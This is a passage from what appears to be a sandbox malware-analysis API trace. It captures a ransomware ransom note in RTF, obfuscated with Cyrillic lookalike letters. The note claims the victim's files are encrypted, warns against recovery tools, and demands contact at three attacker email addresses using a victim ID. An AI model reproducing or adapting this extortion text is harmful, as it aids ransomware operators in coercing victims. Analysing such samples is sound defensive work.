d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 